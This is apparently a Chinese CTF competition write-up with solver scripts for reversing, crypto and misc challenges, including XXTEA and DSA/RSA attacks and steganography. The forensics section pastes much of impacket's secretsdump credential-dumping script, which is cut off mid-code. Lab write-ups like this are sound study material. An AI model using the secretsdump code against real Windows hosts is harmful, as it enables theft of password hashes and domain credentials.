Team:F14GThi3f
rank:12
Re
Crush's_secret
考smc,下断之后跳过去先u转义再p重构函数,


一个魔改xxtea
key
网上找个脚本改一改就可以
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#define DELTA 1640531527
#define MX (((v11>>5^(y*4)) + (y>>3^(v11*16))) ^ ((v10^y) + (key[(p&3)^e] ^ v11)))
void btea(uint32_t *v, int n, uint32_t const key[4]) {
uint32_t y, v11, v10;
unsigned p, rounds, e;
// 加密
if (n > 1) {
rounds = 6 + 52 / n;
v10 = 0;
v11 = v[n - 1];
do {
v10 -= DELTA;
e = (v10 >> 2) & 3;
for (p = 0; p < n - 1; p++) {
y = v[p + 1];
v11 = v[p] += MX;
}
y = v[0];
v11 = v[n - 1] += MX;
} while (--rounds);
}
// 解密
else if (n < -1) {
n = -n;
rounds = 6 + 52 / n;
v10 = rounds * (-DELTA);
y = v[0];
do {
e = (v10 >> 2) & 3;
for (p = n - 1; p > 0; p--) {
v11 = v[p - 1];
y = v[p] -= MX;
}
v11 = v[n - 1];
y = v[0] -= MX;
v10 += DELTA;
} while (--rounds);
}
}
void p_dec_data(uint32_t *data, int len) {
for (int i = 0; i < len; i++) {
printf("0x%08X ", data[i]);
}
printf("\n");
}
int main() {
uint32_t data[] = {
0x5A764F8A, 0x5B0DF77, 0xF101DF69, 0xF9C14EF4, 0x27F03590,
0x7DF3324F, 0x2E322D74, 0x8F2A09BC, 0xABE2A0D7, 0xC2A09FE,
0x35892BB2, 0x53ABBA12
};
int data_len = sizeof(data) / sizeof(data[0]);
uint32_t key[] = {0x5201314, 0x52013140, 0x5201314, 0x52013140};
for (int i = 0; i < data_len; i += 2) {
printf("\n第 %d 组(%d 和 %d):\n", (i / 2) + 1, i, i + 1);
btea(&data[i], -2, key);
p_dec_data(&data[i], 2);
for (int j = 0; j < 8; j++) {
printf("%c", ((char*)&data[i])[j]);
}
printf("\n");
}
return 0;
}
// 第 1 组(0 和 1):
// 0x5F656854 0x646E6977
// The_wind
// 第 2 组(2 和 3):
// 0x6F74735F 0x615F7370
// _stops_a
// 第 3 组(4 和 5):
// 0x75615F74 0x6E6D7574
// t_autumn
// 第 4 组(6 和 7):
// 0x7461775F 0x615F7265
// _water_a
// 第 5 组(8 和 9):
// 0x495F646E 0x6F74735F
// nd_I_sto
// 第 6 组(10 和 11):
// 0x74615F70 0x756F795F
// p_at_you
round
这题是比赛刚结束做出来的,有点可惜了
主逻辑

这里的base64是将每组的第2和第3个字符进行一个换位,所以要换回来再解密
public class test {
private static final char[] BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray();
private static final int[] BASE64_INDEX = new int[128];
static {
for (int i = 0; i < BASE64_CHARS.length; i++) {
BASE64_INDEX[BASE64_CHARS[i]] = i;
}
}
private static String restoreSwappedCharacters(String input) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < input.length(); i += 4) {
char[] chunk = new char[4];
for (int j = 0; j < 4; j++) {
if (i + j < input.length()) {
chunk[j] = input.charAt(i + j);
}
}
char temp = chunk[1];
chunk[1] = chunk[2];
chunk[2] = temp;
for (char c : chunk) {
sb.append(c);
}
}
return sb.toString();
}
public static String decodeFromBase64(String input) {
StringBuilder sb = new StringBuilder();
input = restoreSwappedCharacters(input);
int length = input.length();
int padding = 0;
if (input.endsWith("==")) {
padding = 2;
input = input.substring(0, length - 2);
} else if (input.endsWith("=")) {
padding = 1;
input = input.substring(0, length - 1);
}
for (int i = 0; i < input.length(); i += 4) {
int combined = 0;
for (int j = 0; j < 4; j++) {
combined <<= 6;
if (i + j < input.length()) {
combined |= BASE64_INDEX[input.charAt(i + j)] & 0x3F;
}
}
for (int j = 0; j < 3; j++) {
if (i + j < input.length() - padding) {
sb.append((char) ((combined >> (16 - j * 8)) & 0xFF));
}
}
}
return sb.toString();
}
public static void main(String[] args) {
System.out.println(decodeFromBase64("c9m1bRmfY5Wk"));
}
}
//round_and
接着打obj2

hook一下round函数第一个参数得到数组
参数1
参数类型:[I
参数值:{924,967,912,973,921,936,916,926,942,963,930,927,912,971,924,961,909,956,896,906,946,991,958,899,900,991,904,981,897,944,908,902,902,1003,906,951,952,995,948,1001,949,900,952,946,906,999,902,955,940,1015,928,1021,937,920,932,942,926,1011,914,943,928,1019,940,1009,989,1004,976,986,994,911,1006,979,980,911,984,901,977,992,988,982,1014,923,1018,967,968,915,964,921,965,1012,968,962,1018,919,1014,971,1020,935,1008,941,1017,968,1012,1022,974,931,962,1023,1008,939,1020,929,1005,988,992,1002,978,959,990,995,996,959,1000,949,993,976,1004,998,806,843,810,791,792,835,788,841,789,804,792,786,810,839,806,795,780,855,768,861,777,824,772,782,830,851,818,783,768,859,780,849,829,780,816,826,770,879,782,819,820,879,824,869,817,768,828,822,790,891,794,807,808,883,804,889,805,788,808,802,794,887,790,811,860,775,848,781,857,872,852,862,878,771,866,863,848,779,860,769,845,892,832,842,882,799,894,835,836,799,840,789,833,880,844,838,838,811,842,887,888,803,884,809,885,836,888,882,842,807,838,891,876,823,864,829,873,856,868,878,862,819,850,879,864,827,876,817,669,684,656,666,674,719,686,659,660,719,664,709,657,672,668,662,694,731,698,647,648,723,644,729,645,692,648,642,698,727,694,651,700,743,688,749,697,648,692,702,654,739,642,703,688,747,700,737,685,668,672,682,658,767,670,675,676,767,680,757,673,656,684,678,742,651,746,727,728,643,724,649,725,740,728,722,746,647,742,731,716,663,704,669,713,760,708,718,766,659,754,719,704,667,716,657,765,716,752,762,706,687,718,755,756,687,760,677,753,704,764,758,726,699,730,743,744,691,740,697,741,724,744,738,730,695,726,747,540,583,528,589,537,552,532,542,558,579,546,543,528,587,540,577,525,572,512,522,562,607,574,515,516,607,520,597,513,560,524,518,518,619,522,567,568,611,564,617,565,516,568,562,522,615,518,571,556,631,544,637,553,536,548,558,542,627,530,559,544,635,556,625,605,620,592,602,610,527,622,595,596,527,600,517,593,608,604,598,630,539,634,583,584,531,580,537,581,628,584,578,634,535,630,587,636,551,624,557,633,584,628,638,590,547,578,639,624,555,636,545,621,604,608,618,594,575,606,611,612,575,616,565,609,592,620,614,422,459,426,407,408,451,404,457,405,420,408,402,426,455,422,411,396,471,384,477,393,440,388,398,446,467,434,399,384,475,396,465,445,396,432,442,386,495,398,435,436,495,440,485,433,384,444,438,406,507,410,423,424,499,420,505,421,404,424,418,410,503,406,427,476,391,464,397,473,488,468,478,494,387,482,479,464,395,476,385,461,508,448,458,498,415,510,451,452,415,456,405,449,496,460,454,454,427,458,503,504,419,500,425,501,452,504,498,458,423,454,507,492,439,480,445,489,472,484,494,478,435,466,495,480,443,492,433,285,300,272,282,290,335,302,275,276,335,280,325,273,288,284,278,310,347,314,263,264,339,260,345,261,308,264,258,314,343,310,267,316,359,304,365,313,264,308,318,270,355,258,319,304,363,316,353,301,284,288,298,274,383,286,291,292,383,296,373,289,272,300,294,358,267,362,343,344,259,340,265,341,356,344,338,362,263,358,347,332,279,320,285,329,376,324,334,382,275,370,335,320,283,332,273,381,332,368,378,322,303,334,371,372,303,376,293,369,320,380,374,342,315,346,359,360,307,356,313,357,340,360,354,346,311,342,363,156,199,144,205,153,168,148,158,174,195,162,159,144,203,156,193,141,188,128,138,178,223,190,131,132,223,136,213,129,176,140,134,134,235,138,183,184,227,180,233,181,132,184,178,138,231,134,187,172,247,160,253,169,152,164,174,158,243,146,175,160,251,172,241,221,236,208,218,226,143,238,211,212,143,216,133,209,224,220,214,246,155,250,199,200,147,196,153,197,244,200,194,250,151,246,203,252,167,240,173,249,200,244,254,206,163,194,255,240,171,252,161,237,220,224,234,210,191,222,227,228,191,232,181,225,208,236,230,38,75,42,23,24,67,20,73,21,36,24,18,42,71,38,27,12,87,0,93,9,56,4,14,62,83,50,15,0,91,12,81,61,12,48,58,2,111,14,51,52,111,56,101,49,0,60,54,22,123,26,39,40,115,36,121,37,20,40,34,26,119,22,43,92,7,80,13,89,104,84,94,110,3,98,95,80,11,92,1,77,124,64,74,114,31,126,67,68,31,72,21,65,112,76,70,70,43,74,119,120,35,116,41,117,68,120,114,74,39,70,123,108,55,96,61,105,88,100,110,94,51,82,111,96,59,108,49}
然后就要进行一个逐位爆破,直到推出加密后的12个字符满足
int[] iArr3 = {352, 646, 752, 882, 65, 0, 122, 0, 0, 7, 350, 360};
因为爆到122后面有俩0,分支很多,所以要求脚本如果当前分支走不到12位就回退一位接着往下爆,大概就是这个思路吧
import string
class Round:
class Result:
def __init__(self, num, rip):
self.num = num
self.rip = rip
def get_num(self):
return self.num
def get_rip(self):
return self.rip
def round(self, iArr, string):
length = len(string)
iArr2 = [0] * length
iArr3 = [352, 646, 752, 882, 65, 0, 122, 0, 0, 7, 350, 360]
i = 33
for i2 in range(length):
charAt = ord(string[i2])
for i3 in range(32):
i4 = ((iArr[i] ^ charAt) % 5 + 5) % 5
if i4 == 0:
add = self.add(iArr, charAt, i)
elif i4 == 1:
add = self.sub(iArr, charAt, i)
elif i4 == 2:
add = self.xor(iArr, charAt, i)
elif i4 == 3:
add = self.shl(charAt, i)
elif i4 == 4:
add = self.shr(charAt, i)
else:
add = self.Result(charAt, i)
charAt = add.get_num()
i = add.get_rip()
iArr2[i2] = charAt
#print(charAt)
for i5 in range(length):
if iArr2[i5] != iArr3[i5]:
return False
return True
def add(self, iArr, i, i2):
i3 = ((i + iArr[i2]) % 1024 + 1024) % 1024
return self.Result(i3, (i2 + i3) % 1024)
def sub(self, iArr, i, i2):
i3 = ((i - iArr[i2]) % 1024 + 1024) % 1024
return self.Result(i3, (i2 + i3) % 1024)
def xor(self, iArr, i, i2):
i3 = (iArr[i2] ^ i) % 1024
return self.Result(i3, (i2 + i3) % 1024)
def shl(self, i, i2):
i3 = (i >> 3) % 1024
return self.Result(i3, (i2 + i3) % 1024)
def shr(self, i, i2):
i3 = (i << 3) % 1024
return self.Result(i3, (i2 + i3) % 1024)
def brute_force():
round = Round()
iArr = [924,967,912,973,921,936,916,926,942,963,930,927,912,971,924,961,909,956,896,906,946,991,958,899,900,991,904,981,897,944,908,902,902,1003,906,951,952,995,948,1001,949,900,952,946,906,999,902,955,940,1015,928,1021,937,920,932,942,926,1011,914,943,928,1019,940,1009,989,1004,976,986,994,911,1006,979,980,911,984,901,977,992,988,982,1014,923,1018,967,968,915,964,921,965,1012,968,962,1018,919,1014,971,1020,935,1008,941,1017,968,1012,1022,974,931,962,1023,1008,939,1020,929,1005,988,992,1002,978,959,990,995,996,959,1000,949,993,976,1004,998,806,843,810,791,792,835,788,841,789,804,792,786,810,839,806,795,780,855,768,861,777,824,772,782,830,851,818,783,768,859,780,849,829,780,816,826,770,879,782,819,820,879,824,869,817,768,828,822,790,891,794,807,808,883,804,889,805,788,808,802,794,887,790,811,860,775,848,781,857,872,852,862,878,771,866,863,848,779,860,769,845,892,832,842,882,799,894,835,836,799,840,789,833,880,844,838,838,811,842,887,888,803,884,809,885,836,888,882,842,807,838,891,876,823,864,829,873,856,868,878,862,819,850,879,864,827,876,817,669,684,656,666,674,719,686,659,660,719,664,709,657,672,668,662,694,731,698,647,648,723,644,729,645,692,648,642,698,727,694,651,700,743,688,749,697,648,692,702,654,739,642,703,688,747,700,737,685,668,672,682,658,767,670,675,676,767,680,757,673,656,684,678,742,651,746,727,728,643,724,649,725,740,728,722,746,647,742,731,716,663,704,669,713,760,708,718,766,659,754,719,704,667,716,657,765,716,752,762,706,687,718,755,756,687,760,677,753,704,764,758,726,699,730,743,744,691,740,697,741,724,744,738,730,695,726,747,540,583,528,589,537,552,532,542,558,579,546,543,528,587,540,577,525,572,512,522,562,607,574,515,516,607,520,597,513,560,524,518,518,619,522,567,568,611,564,617,565,516,568,562,522,615,518,571,556,631,544,637,553,536,548,558,542,627,530,559,544,635,556,625,605,620,592,602,610,527,622,595,596,527,600,517,593,608,604,598,630,539,634,583,584,531,580,537,581,628,584,578,634,535,630,587,636,551,624,557,633,584,628,638,590,547,578,639,624,555,636,545,621,604,608,618,594,575,606,611,612,575,616,565,609,592,620,614,422,459,426,407,408,451,404,457,405,420,408,402,426,455,422,411,396,471,384,477,393,440,388,398,446,467,434,399,384,475,396,465,445,396,432,442,386,495,398,435,436,495,440,485,433,384,444,438,406,507,410,423,424,499,420,505,421,404,424,418,410,503,406,427,476,391,464,397,473,488,468,478,494,387,482,479,464,395,476,385,461,508,448,458,498,415,510,451,452,415,456,405,449,496,460,454,454,427,458,503,504,419,500,425,501,452,504,498,458,423,454,507,492,439,480,445,489,472,484,494,478,435,466,495,480,443,492,433,285,300,272,282,290,335,302,275,276,335,280,325,273,288,284,278,310,347,314,263,264,339,260,345,261,308,264,258,314,343,310,267,316,359,304,365,313,264,308,318,270,355,258,319,304,363,316,353,301,284,288,298,274,383,286,291,292,383,296,373,289,272,300,294,358,267,362,343,344,259,340,265,341,356,344,338,362,263,358,347,332,279,320,285,329,376,324,334,382,275,370,335,320,283,332,273,381,332,368,378,322,303,334,371,372,303,376,293,369,320,380,374,342,315,346,359,360,307,356,313,357,340,360,354,346,311,342,363,156,199,144,205,153,168,148,158,174,195,162,159,144,203,156,193,141,188,128,138,178,223,190,131,132,223,136,213,129,176,140,134,134,235,138,183,184,227,180,233,181,132,184,178,138,231,134,187,172,247,160,253,169,152,164,174,158,243,146,175,160,251,172,241,221,236,208,218,226,143,238,211,212,143,216,133,209,224,220,214,246,155,250,199,200,147,196,153,197,244,200,194,250,151,246,203,252,167,240,173,249,200,244,254,206,163,194,255,240,171,252,161,237,220,224,234,210,191,222,227,228,191,232,181,225,208,236,230,38,75,42,23,24,67,20,73,21,36,24,18,42,71,38,27,12,87,0,93,9,56,4,14,62,83,50,15,0,91,12,81,61,12,48,58,2,111,14,51,52,111,56,101,49,0,60,54,22,123,26,39,40,115,36,121,37,20,40,34,26,119,22,43,92,7,80,13,89,104,84,94,110,3,98,95,80,11,92,1,77,124,64,74,114,31,126,67,68,31,72,21,65,112,76,70,70,43,74,119,120,35,116,41,117,68,120,114,74,39,70,123,108,55,96,61,105,88,100,110,94,51,82,111,96,59,108,49]
prefix = ""
target = [352, 646, 752, 882, 65, 0, 122, 0, 0, 7, 350, 360]
index = len(prefix)
all_chars = string.ascii_letters + string.digits + "_-"
while len(prefix) < 12:
match_found = False
for char in all_chars:
guess = prefix + char
print(f"Trying: {guess}")
if round.round(iArr, guess):
print(f"Found: {guess}")
prefix = guess
match_found = True
break
if not match_found:
for i in range(len(prefix)-1, -1, -1):
current_char = prefix[i]
if current_char != all_chars[-1]:
next_char = all_chars[all_chars.index(current_char) + 1]
prefix = prefix[:i] + next_char + prefix[i+1:]
break
else:
prefix = prefix[:i]
else:
break
brute_force()
//Found: _rounD_we_go
拼起来
D0g3xGC{round_and_rounD_we_go}
Crypto
Curve
板子题,
https://ch3mtr4ils.cn/2024/03/05/ECC%E4%B8%AD%E7%9A%84%E5%B8%B8%E8%A7%81%E6%9B%B2%E7%BA%BF/
进行椭圆曲线转换之后将G,gx就是flag
from gmpy2 import *
from Crypto.Util.number import *
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
eG = (34120664973166619886120801966861368419497948422807175421202190709822232354059, 11301243831592615312624457443883283529467532390028216735072818875052648928463)
e=0x10001
F=GF(p)
A=(F(2)*F(a+d))/F(a-d)
B=F(4)/F(a-d)
a = F(3-A^2) / F(3*B^2)
b = F(2*A^3-9*A) / F(27*B^3)
def edwards_to_ECC(x,y):
x1=F(1+y)/F(1-y)
y1=F(x1)/F(x)
#爱德华曲线转蒙哥马利曲线
x2=(F(3*x1)+F(A))/F(3*B)
y2=F(y1)/F(B)
#蒙哥马利曲线转椭圆曲线
return (x2,y2)
def ECC_to_edwards(x,y):
x1=(F(x)*F(3*B)-F(A))/F(3)
y1=F(y)*F(B)
#椭圆曲线转蒙哥马利曲线,跟上面的反着来就行
x2=F(x1)/F(y1)
y2=F(x1-1)/F(x1+1)
#蒙哥马利曲线转爱德华曲线
return (x2,y2)
E = EllipticCurve(GF(p), [a, b])#椭圆曲线
n=E.order()#椭圆曲线的阶
t=invert(e,n)#求e关于n的逆元
eG=edwards_to_ECC(eG[0],eG[1])#爱德华曲线转为椭圆曲线
#E()对点进行了一些处理,使能够进行下面的计算
#print(eG)
eG=E(eG)
#print(eG)
G=t*eG
G=ECC_to_edwards(G[0],G[1])
print(long_to_bytes(int(G[0])))
from Crypto.Util.number import *
print(long_to_bytes(109575618375392265076063333325613815173674044654416362516919165))
EZ_sign
第一步,DSA数字签名的关系k攻击,套脚本解出e
第二步,解C = p^2 + q^2,本来使用sage自带的函数接触后,发现解不出来,发现解出来的p,q不是质数,于是换种方法找到p,q后解rsa
"""from Crypto.Util.number import *
from gmpy2 import *
from libnum import *
(h1, r1, s1) = 659787401883545685817457221852854226644541324571, 334878452864978819061930997065061937449464345411, 282119793273156214497433603026823910474682900640
(h2, r2, s2) = 156467414524100313878421798396433081456201599833, 584114556699509111695337565541829205336940360354, 827371522240921066790477048569787834877112159142
a = 149328490045436942604988875802116489621328828898285420947715311349436861817490291824444921097051302371708542907256342876547658101870212721747647670430302669064864905380294108258544172347364992433926644937979367545128905469215614628012983692577094048505556341118385280805187867314256525730071844236934151633203
b = q = 829396411171540475587755762866203184101195238207
g = 87036604306839610565326489540582721363203007549199721259441400754982765368067012246281187432501490614633302696667034188357108387643921907247964850741525797183732941221335215366182266284004953589251764575162228404140768536534167491117433689878845912406615227673100755350290475167413701005196853054828541680397
y = 97644672217092534422903769459190836176879315123054001151977789291649564201120414036287557280431608390741595834467632108397663276781265601024889217654490419259208919898180195586714790127650244788782155032615116944102113736041131315531765220891253274685646444667344472175149252120261958868249193192444916098238
PR.<x> = PolynomialRing(GF(q))
f = s2*x^2*r1 - s1*x*r2 - h2*r1 + h1*r2
hh = f.roots()
print(hh)
k = hh[1][0]
x = (s1*k - h1)*inverse(r1,q)%q
flag = n2s(int(x))
print(flag)"""
e = 44519
"""C = 179093209181929149953346613617854206675976823277412565868079070299728290913658
p,q = two_squares(C)
print(p,q)"""
from Crypto.Util.number import *
C = 179093209181929149953346613617854206675976823277412565868079070299728290913658
from sympy.abc import x, y, t
from sympy.solvers.diophantine.diophantine import diop_quadratic
solve = diop_quadratic(x**2 + y**2 - C, t)
for p, q in solve:
p, q = int(p), int(q)
if isPrime(p) and isPrime(q):
p = p
q = q
break
c = 18947793008364154366082991046877977562448549186943043756326365751169362247521
print(isPrime(p),isPrime(q))
e = 44519
n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
babyrsa
成功找到板子
from Crypto.Util.number import *
n = 539403894871945779827202174061302970341082455928364137444962844359039924160163196863639732747261316352083923762760392277536591121706270680734175544093484423564223679628430671167864783270170316881238613070741410367403388936640139281272357761773388084534717028640788227350254140821128908338938211038299089224967666902522698905762169859839320277939509727532793553875254243396522340305880944219886874086251872580220405893975158782585205038779055706441633392356197489
d = 58169755386408729394668831947856757060407423126014928705447058468355548861569452522734305188388017764321018770435192767746145932739423507387500606563617116764196418533748380893094448060562081543927295828007016873588530479985728135015510171217414380395169021607415979109815455365309760152218352878885075237009
c = 82363935080688828403687816407414245190197520763274791336321809938555352729292372511750720874636733170318783864904860402219217916275532026726988967173244517058861515301795651235356589935260088896862597321759820481288634232602161279508285376396160040216717452399727353343286840178630019331762024227868572613111538565515895048015318352044475799556833174329418774012639769680007774968870455333386419199820213165698948819857171366903857477182306178673924861370469175
n = GCD(pow(2,n*d,n)-2,n)
m = pow(c,d,n)
flag = long_to_bytes(m)
print(flag)
Misc
我是真签到
公众号得到flag
Tr4ffIc_w1th_Ste90
可以从流量包中跟踪udp流,按原始数据导出后缀名设置为.ts
可以看到密码
解压缩包后可以得到加密后的图片和加密算发,写爆破解密算法
import numpy as np
import cv2
import sys
def decode(input_image,seed):
np.random.seed(seed)
# 读取加密的灰度图像
to_hide_array = cv2.imread(input_image, cv2.IMREAD_GRAYSCALE)
rows, cols = to_hide_array.shape
row_indices = list(range(to_hide_array.shape[0]))
col_indices = list(range(to_hide_array.shape[1]))
np.random.shuffle(row_indices)
np.random.shuffle(col_indices)
decrypted_array = np.zeros_like(to_hide_array)
for i in range(rows):
for j in range(cols):
# 将加密图像中的像素恢复到原位置
decrypted_array[row_indices[i], col_indices[j]] = to_hide_array[i, j]
decrypted_image = cv2.cvtColor(decrypted_array, cv2.COLOR_GRAY2BGR)
# 生成输出图像的文件名
output_image = f"decoded_image_seed_{seed}.png"
# 保存解密的图像
cv2.imwrite(output_image, decrypted_image)
print(f"Decoded image saved as {output_image}")
def main():
input_image = "encoded.png"
# 尝试所有可能的种子(从50到70)
for seed in range(50, 71):
decode(input_image,seed)
if __name__ == '__main__':
main()
得到DataMatrix码,解码后得到一句话
I randomly found a word list to encrypt the flag. I only remember that Wikipedia said this word list is similar to the NATO phonetic alphabet.
crumpled chairlift freedom chisel island dashboard crucial kickoff crucial chairlift drifter classroom highchair cranky clamshell edict drainage fallout clamshell chatter chairlift goldfish chopper eyetooth endow chairlift edict eyetooth deadbolt fallout egghead chisel eyetooth cranky crucial deadbolt chatter chisel egghead chisel crumpled eyetooth clamshell deadbolt chatter chopper eyetooth classroom chairlift fallout drainage klaxon
大意是在维基百科上类似北约音标的单词列表,找到一个PGP词汇表
https://zh.wikipedia.org/wiki/PGP%E8%AF%8D%E6%B1%87%E8%A1%A8
找到项目"https://github.com/playGitboy/pgp_decode"
运行得到flag
eZ_Steg0
解压附件 得到三个文件
-a--- 2024/10/29 21:02 16440 01.png
-a--- 2024/12/5 13:17 2293244 flag
-a--- 2024/12/7 11:41 385752 key.zip
01.png 可以用stegsolve或zsteg解 LSB 出一堆 16 进制字符串
但是 cyberchef from hex 没有有效的明文字符
到这没思路了
但是重读了一遍题目描述突然又有灵感了

意思是不只有图片 LSB
那么还有什么LSB呢? wav
而我们将 flag 文件扔进 010 分析 也是一堆无法识别的的字符

但是看右边的预览图 可以发现跟 wav 文件的预览图很像(也可能是我太敏感了)
那么我们假定这是个被加密后的 wav 文件
但是什么加密呢?
首先猜测是 xor
因为xor最好验证也比较常见
而且因为其特性 如果密钥远小于加密文本的话
可以比较容易的反推出密钥
先找一个正确的 wav 文件来做模板

前面RIFF是固定不变的 先将其作为密钥异或文件

可以看到异或出的前4位都是可以打印字符
接着是模板中的 88 50 2F 00

通过模板不能看出 这是文件的字符大小 是WAVE及其后面的所有部分
根据flag文件的实际情况计算出
这个值应该是 2293236 换算成16进制应该是 F4 FD 22 00
加上后面同样不变的 "WAVEfmt " 接着填入key

依然是可打印字符 说明我们思路大致没错
接着是 10 00 00 00

根据模板不难推断出 这个换位10进制是 16 那么指的应该是音频位数 16位恰好是最常见的其一
那么猜测其 flag 也是 将其填入key中

可以看出已经有重复的趋势了
那么xor密钥应该就是 sSeCre7KeY?!!@$
直接用这个异或 flag 文件

虽然还是一堆不可以打印字符 但是可以看到 后面有个 data
这是wav文件结构的一部分 标志存储音频数据的开始
那么我们的 xorkey 大抵是找对了
将其保存下来 可以正常的播放
那么下一步应该就是 LSB 隐写
尝试了多种工具
Silenteye DeepSound StegHide Stegpy wavsteg等等
最终在一个网站找到了神秘脚本
https://nitrozeus.gitbook.io/ctfs/2023/brainhack-cddc-2023/audio-steganography
可以解出正确flag

Just_F0r3n51Cs
解压附件发现是个 E01 文件
用 FTK imager 打开
根据题目提示先在桌面下找到 beginning.pcapng

用 WireShark 打开分析
追TCP流发现藏了个 jpg

提出来保存
010分析在结尾发现有加密字符串

解bash64得到
oursecret is D0g3xGC
那么用 oursecret 对图片用密码提取
得到 hidden.txt
:::info
ECB's key is
N11c3TrYY6666111
记得给我秋秋空间点赞
:::
接着追流 找到几个QQ号
最终在 293519700 这个QQ的空间里找到


flag2:
翻找系统变量时发现一个压缩包和解压密码的提示
当前用户名_计算机当前操作系统的产品名称_火狐版本号(保留一位小数)
这些可以直接在注册中找到
用户名:D0g3xGC
系统 Windows_7
火狐版本号 Ultimate_115.0
拼起来后解压得到flag
D0g3xGC_Windows_7_Ultimate_115.0

flag3:
在 图片文件夹中又找到
那么大抵是要解双图盲水印啥的

打开Original.zip

注释写了密码格式
用户将系统中的 SAM SECURITY SYSTEM 文件提取出来
用这个脚本就能提取出密码
#!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Performs various techniques to dump hashes from the
# remote machine without executing any agent there.
# For SAM and LSA Secrets (including cached creds)
# we try to read as much as we can from the registry
# and then we save the hives in the target system
# (%SYSTEMROOT%\\Temp dir) and read the rest of the
# data from there.
# For NTDS.dit we either:
# a. Get the domain users list and get its hashes
# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
# call, replicating just the attributes we need.
# b. Extract NTDS.dit via vssadmin executed with the
# smbexec approach.
# It's copied on the temp dir and parsed remotely.
#
# The script initiates the services required for its working
# if they are not available (e.g. Remote Registry, even if it is
# disabled). After the work is done, things are restored to the
# original state.
#
# Author:
# Alberto Solino (@agsolino)
#
# References: Most of the work done by these guys. I just put all
# the pieces together, plus some extra magic.
#
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
# https://code.google.com/p/creddump/
# https://lab.mediaservice.net/code/cachedump.rb
# https://insecurety.net/?p=768
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
# https://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
from __future__ import division
from __future__ import print_function
import argparse
import codecs
import logging
import os
import sys
from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
from impacket.krb5.keytab import Keytab
try:
input = raw_input
except NameError:
pass
class DumpSecrets:
def __init__(self, remoteName, username='', password='', domain='', options=None):
self.__useVSSMethod = options.use_vss
self.__remoteName = remoteName
self.__remoteHost = options.target_ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__smbConnection = None
self.__remoteOps = None
self.__SAMHashes = None
self.__NTDSHashes = None
self.__LSASecrets = None
self.__systemHive = options.system
self.__bootkey = options.bootkey
self.__securityHive = options.security
self.__samHive = options.sam
self.__ntdsFile = options.ntds
self.__history = options.history
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = options.outputfile
self.__doKerberos = options.k
self.__justDC = options.just_dc
self.__justDCNTLM = options.just_dc_ntlm
self.__justUser = options.just_dc_user
self.__pwdLastSet = options.pwd_last_set
self.__printUserStatus= options.user_status
self.__resumeFileName = options.resumefile
self.__canProcessSAMLSA = True
self.__kdcHost = options.dc_ip
self.__options = options
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def connect(self):
self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self):
try:
if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
self.__isRemote = False
self.__useVSSMethod = True
if self.__systemHive:
localOperations = LocalOperations(self.__systemHive)
bootKey = localOperations.getBootKey()
if self.__ntdsFile is not None:
# Let's grab target's configuration about LM Hashes storage
self.__noLMHash = localOperations.checkNoLMHashPolicy()
else:
import binascii
bootKey = binascii.unhexlify(self.__bootkey)
else:
self.__isRemote = True
bootKey = None
try:
try:
self.connect()
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
pass
else:
raise
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
self.__remoteOps.setExecMethod(self.__options.exec_method)
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
self.__remoteOps.enableRegistry()
bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
except Exception as e:
self.__canProcessSAMLSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__doKerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
else:
logging.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA
if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
try:
if self.__isRemote is True:
SAMFileName = self.__remoteOps.saveSAM()
else:
SAMFileName = self.__samHive
self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
self.__SAMHashes.dump()
if self.__outputFileName is not None:
self.__SAMHashes.export(self.__outputFileName)
except Exception as e:
logging.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__isRemote is True:
SECURITYFileName = self.__remoteOps.saveSECURITY()
else:
SECURITYFileName = self.__securityHive
